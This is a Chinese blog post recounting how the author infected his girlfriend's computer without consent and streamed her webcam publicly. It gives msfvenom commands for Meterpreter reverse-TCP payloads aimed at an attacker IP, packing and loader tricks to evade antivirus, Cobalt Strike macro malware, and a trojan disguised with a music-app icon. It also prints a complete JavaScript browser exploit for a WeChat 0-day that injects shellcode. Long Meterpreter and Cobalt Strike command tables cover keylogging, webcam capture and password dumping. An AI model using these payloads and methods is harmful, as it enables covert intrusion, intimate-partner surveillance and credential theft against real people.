登陆 注册

一次渗透妹子电脑开摄像头全过程

桑云信息安云 2021-07-27 安全文摘shellcodeloader黑客入侵

具体思路

第一步

构建恶意文件

1.指定一个可执行程序 捆绑木马

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru LHOST=[IP] LPORT=3333 -x webshell.exe -i 12 -f exe -o /root/webshell.exe

2.联合shellcodeloader免杀制作.bin文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=3333 -e x64/zutto_dekiru -f raw -o windows.bin

3.生成c文件

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp -e x64/zutto_dekiru -i 10 lhost=[IP] lport=3333 -f c -o ~/windows.c

4.Cobaltstrike生成宏病毒代码
一键生成宏代码后,新建一个文档或者用已经有的文档构建。(以word为例)步骤如下:
选择 "视图" -> 宏 -> 查看宏 -> 创建,填入生成的宏代码即可

第二步

制作免杀,msfvenom生成的恶意文件基本底裤都被研究完了,生成C文件,再加壳免杀
 upx加壳

安装
sudo apt-get install upx
对windows.exe进行加壳,生成的windows-upxed.exe文件就是加壳后的
sudo upx windows.exe -o windows-upxed.exe

shellcodeloader免杀

shellcodeloader

  生成bin文件后利用shellcodeloader生成免杀文件

2.生成C文件自己编译,上述命令生成了buf,编译生成exe

#inclde<bits/stdc++.h>
using namespace std;
#将生成的windows.c中buf字符串复制到这里
unsigned char buf[······];
int main(){
 int (*func)() = (int(*)())buf;
    func();
    return 0;
}

第三步

缕清攻击策略(以我对象为例)
1. 恶意文件捆绑她专业软件破解版发给她(可能会被发现,免杀做的有点粗糙不一定能过)
2. 以八卦的形式(前几天看到项XX瓜,再结合她本身是朝阳区第一吃瓜群众,这个方法可行性最高!但是会报毒,否定)

第四步

开始搞看来只能做个恶意程序捆绑正常文件了,先做个垃圾文件。然后更换了图标为网易云的图标。直接冲!

上线了~

上线了~

立马移动到别的pid进程去了,然后利用webcam_stream在公网起了个直播哈哈,不过看了会她发现关掉没用,就关机了,然后开机发现没了就跟我得瑟,同志们我还是下手轻了。

后面通过她拍的照片发现摄像头边上的灯还是有点用的,毕竟突然亮起来肯定没好事,不过我有物理遮挡

到现在我发的文件她都不接收了,除非带着vt截图!!果然一朝被蛇咬十年怕井绳,还是亲身经历过,才了解平常网上冲浪要注意安全!

MSF权限维持

ps -列出正在运行的进程
migrate 【PID】 -移动到一个指定的 PID 的活动进程

WeChat 0day上线

当我看到这个漏洞的时候,我知道轮到她以及他们得瑟的时代结束了~
首先生成属于自己的shellcode,然后将buf字符串替换\,0。在服务器上起一个服务,杀穿了~

<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>PC微信好东西</h1>
<script>
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
//buf字符串放在这
var shellcode = [0xfc,0xe8······];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}
function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}
function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;
    this.page_buffer = null;
    this.page_view = null;
    this.prevent_opt = [];
    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;
    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }
    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);
    new RegExp({ toString: function () { return 'a' } });
    cb(true);
    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );
            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }
    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }
        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }
        return DerivedN;
    })`);
    gc();
    new (derived_n(tDerivedNDepth))();
    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }
    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }
    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }
    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }
    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}
function trigger() {
    var oob = oobAccess();
    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));
    var kCodeInsOffset = 0x1b;
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));
    oob.setBytes(code_addr, shellcode);
    target_function(0);
}
try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}
</script>

meterpreter命令详解

    Command              Description
    -------                   -----------
    ?                         帮助菜单
    background                当前会议的背景
    bg                        背景的别称
    bgkill                    杀死一个后台计价器脚本
    bglist                    列出正在运行的后台脚本
    bgrun                     以后台线程的形式执行抄表器脚本
    channel                   显示信息或控制活动通道
    close                     关闭通道
    disable_unicode_encoding  禁用unicode字符串的编码。
    enable_unicode_encoding   启用unicode字符串的编码。
    exit                      终止流量计会话
    get_timeouts              获取当前会话超时值
    guid                      获取会话GUID
    help                      帮助菜单
    info                      显示邮政模块的信息
    irb                       在当前会话上打开一个交互式Ruby shell
    load                      装入一个或多个表前仪分机
    machine_id                获取连接到会话的机器的MSF ID。
    migrate                   将服务器迁移到另一个进程
    pivot                     管理中枢监听器
    pry                       在当前会话上打开Pry调试器。
    quit                      终止流量计会话
    read                      从通道中读取数据
    resource                  运行存储在文件中的命令
    run                       执行一个抄表器脚本或Post模块。
    secure                    (重)在会话上协商TLV数据包加密问题
    sessions                  快速切换到另一个会话
    set_timeouts              设置当前会话超时值
    sleep                     迫使Meterpreter安静下来,然后重新建立会话。
    transport                 改变当前的传输机制
    use                       "load "的弃用别名
    uuid                      获取当前会话的UUID
    write                     将数据写入通道
Stdapi: File system Commands
============================
    Command       Description
    -------       -----------
    cat           将文件内容读到屏幕上
    cd            更改目录
    checksum      检索文件的校验和
    cp            将源头复制到目的地
    dir           列表文件(ls的别名
    download      下载文件或目录
    edit          编辑文件
    getlwd        打印本地工作目录
    getwd         打印工作目录
    lcd           更改本地工作目录
    lls           列出本地文件
    lpwd          打印本地工作目录
    ls            列表文件
    mkdir         制作目录
    mv            将源头移动到目的地
    pwd           打印工作目录
    rm            删除指定的文件
    rmdir         删除目录
    search        搜索文件
    show_mount    列出所有挂载点/逻辑驱动器
    upload        上传文件或目录
Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    arp           显示主机ARP缓存
    getproxy      显示当前的代理配置
    ifconfig      显示界面
    ipconfig      显示界面
    netstat       显示网络连接
    portfwd       将本地端口转发给远程服务
    resolve       在目标机上解析一组主机名。
    route         查看和修改路由表
Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    clearev       清除事件日志
    drop_token    放弃任何活动的冒充令牌。
    execute       执行一个命令
    getenv        获取一个或多个环境变量值
    getpid        获取当前进程标识符
    getprivs      试图启用当前进程的所有可用特权
    getsid        获取服务器正在运行的用户的SID为
    getuid        获取服务器运行的用户为
    kill          终止一个进程
    localtime     显示目标系统的本地日期和时间。
    pgrep         按名称过滤进程
    pkill         按名称终止进程
    ps            列出正在运行的进程
    reboot        重新启动远程计算机
    reg           修改远程注册表并与之互动
    rev2self      在远程机器上调用RevertToSelf()。
    shell         进入系统命令行
    shutdown      关闭远程电脑
    steal_token   试图从目标进程中窃取冒充令牌
    suspend       暂停或恢复进程清单。
    sysinfo       获取远程系统的信息,如操作系统。
Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   列出所有可访问的桌面和窗口站
    getdesktop     获取当前的仪表盘桌面
    idletime       返回远程用户闲置的秒数。
    keyboard_send  发送按键
    keyevent       发送关键事件
    keyscan_dump   转储按键缓冲区
    keyscan_start  开始捕捉按键
    keyscan_stop   停止捕捉按键
    mouse          发送鼠标事件
    screenshare    实时观看远程用户的桌面。
    screenshot     抓取交互式桌面的截图
    setdesktop     更改当前桌面的计价器
    uictl          控制一些用户界面组件
Stdapi: Webcam Commands
=======================
    Command        Description
    -------        -----------
    record_mic     用默认麦克风录制音频X秒。
    webcam_chat    开始视频聊天
    webcam_list    网络摄像机列表
    webcam_snap    从指定的网络摄像头拍摄快照
    webcam_stream  播放指定网络摄像头的视频流
Stdapi: Audio Output Commands
=============================
    Command       Description
    -------       -----------
    play          在目标系统上播放音频文件,没有任何内容写入磁盘
Priv: Elevate Commands
======================
    Command       Description
    -------       -----------
    getsystem     试图将你的权限提升到本地系统的权限。
Priv: Password database Commands
================================
    Command       Description
    -------       -----------
    hashdump      转储SAM数据库的内容
Priv: Timestomp Commands
========================
    Command       Description
    -------       -----------
    timestomp     操作文件的MACE属性

Cobaltstrike beacon详解

 命令                           描述
 --------                         --------
argue                            匹配过程的虚假参数
blockdlls                        阻止子进程中的非微软DLLs
browserpivot                     设置浏览器pivot会话
cancel                           取消正在进行的下载
cd                               更改目录
checkin                          Call home and post data
chromedump                       恢复谷歌浏览器的证书
clear                            清除信标队列
connect                          通过TCP连接到一个Beacon对等体
covertvpn                        部署Covert VPN客户端
cp                               复制文件
dcsync                           从DC中提取密码哈希值
desktop                          查看目标的桌面并与之互动
dllinject                        在进程中注入Reflective DLL。
dllload                          用LoadLibrary()将DLL加载到一个进程中。
download                         下载文件
downloads                        列出正在进行的文件下载
drives                           在目标上列出驱动器
elevate                          在升高的上下文中生成一个会话
execute                          在目标机上执行程序(无输出)
executeassembly                  在目标机上执行本地.NET程序。
exit                             终止信标会话
getprivs                         启用当前令牌的系统权限
getsystem                        试图获得系统
getuid                           获取用户ID
hashdump                         转储密码哈希
help                             帮助菜单
inject                           在特定的进程中产生一个会话
inlineexecute                    在此环节中运行一个信标对象文件
jobkill                          杀死一个长期存在的后期开发任务。
jobs                             列出长期运行的开发后任务(List long-running post-exploitation tasks)
jump                             在远程主机上生成一个会话
kerberos_ccache_use              将缓存中的 kerberos ticket 应用到这个会话中。
kerberos_ticket_purge            清除本次会话中的kerberos票据
kerberos_ticket_use              将 kerberos ticket 应用到这个会话
keylogger                        启动击键记录器
kill                             杀死一个进程
link                             通过命名的管道连接到Beacon对等体
logonpasswords                   用mimikatz转储证书和哈希值。
ls                               列表文件
make_token                       创建一个传递凭证的令牌
mimikatz                         运行mimikatz命令
mkdir                            建立一个目录
mode                             dns 使用DNS A作为数据通道(仅限DNS信标)
mode                             dnstxt 使用DNS TXT作为数据通道(仅限DNS信标)
mode                             dns6 使用 DNS AAAA 作为数据通道(仅适用于 DNS 信标)。
mv                               移动文件
net                              网络和主机枚举工具
note                             为该信标指定一个注释
portscan                         扫描网络中的开放服务
powerpick                        通过Unmanaged PowerShell执行命令。
powershell                       通过powershell.exe执行命令。
powershellimport                 导入一个powershell脚本
ppid                             为生成的postex作业设置父级PID。
printscreen                      通过PrintScr方法拍摄一张截图
ps                               显示过程列表
psinject                         在特定进程中执行PowerShell命令
pth                              使用Mimikatz的Passthehash。
pwd                              打印当前目录
reg                              查询注册表
remoteexec                       在远程主机上运行一个命令
rev2self                         恢复到原来的令牌
rm                               移除文件或文件夹
rportfwd                         设置逆向端口转发
rportfwd_local                   通过Cobalt Strike客户端设置反向端口转发。
run                              在目标机上执行程序(返回输出)
runas                            以其他用户身份执行程序
runasadmin                       在提高的上下文中执行程序( Execute a program in an elevated context)
runu                             在另一个PID下执行程序
screenshot                       拍一张截图
screenwatch                      定期对桌面进行截屏
setenv                           设置一个环境变量
shell                            通过cmd.exe执行命令。
shinject                         将shellcode注入到进程中
shspawn                          生成进程并将shellcode注入其中
sleep                            设置信标睡眠时间
socks                            启动SOCKS4a服务器来中继流量。
socks                            停止SOCKS4a服务器
spawn                            产生一个会话
spawnas                          以另一个用户的身份生成一个会话
spawnto                          设置可执行文件以将进程生成到
spawnu                           在另一个进程下生成一个会话
spunnel                          通过 rportfwd 生成和隧道代理。
spunnel_local                    通过Cobalt Strike客户端rportfwd生成和挖掘一个代理。
ssh                              使用SSH在主机上生成一个SSH会话。
sshkey                           使用SSH在主机上生成一个SSH会话。
steal_token                      从进程中窃取访问令牌
timestomp                        将时间戳从一个文件应用到另一个文件
unlink                           断开与母信标的连接
upload                           上传文件

参考文章

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防
微信 RCE 0day
chrome(最新版可用) 0day上线cs & wx 0day上线
远控免杀专题文章(1)-基础篇
Metasploit(1):记录一次Win10的渗透过程

工具

shellcodeloader

文由chen.oinsm.com


生成海报
请发表您的评论
桑云信息安云

桑云信息安云

乐山桑云信息技术有限公司专注于企业安全与网站、小程序、APP架设,为企业客户提供一站式解决方案,帮助企业快速实现互联网+转型。
247文章数 0评论数
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net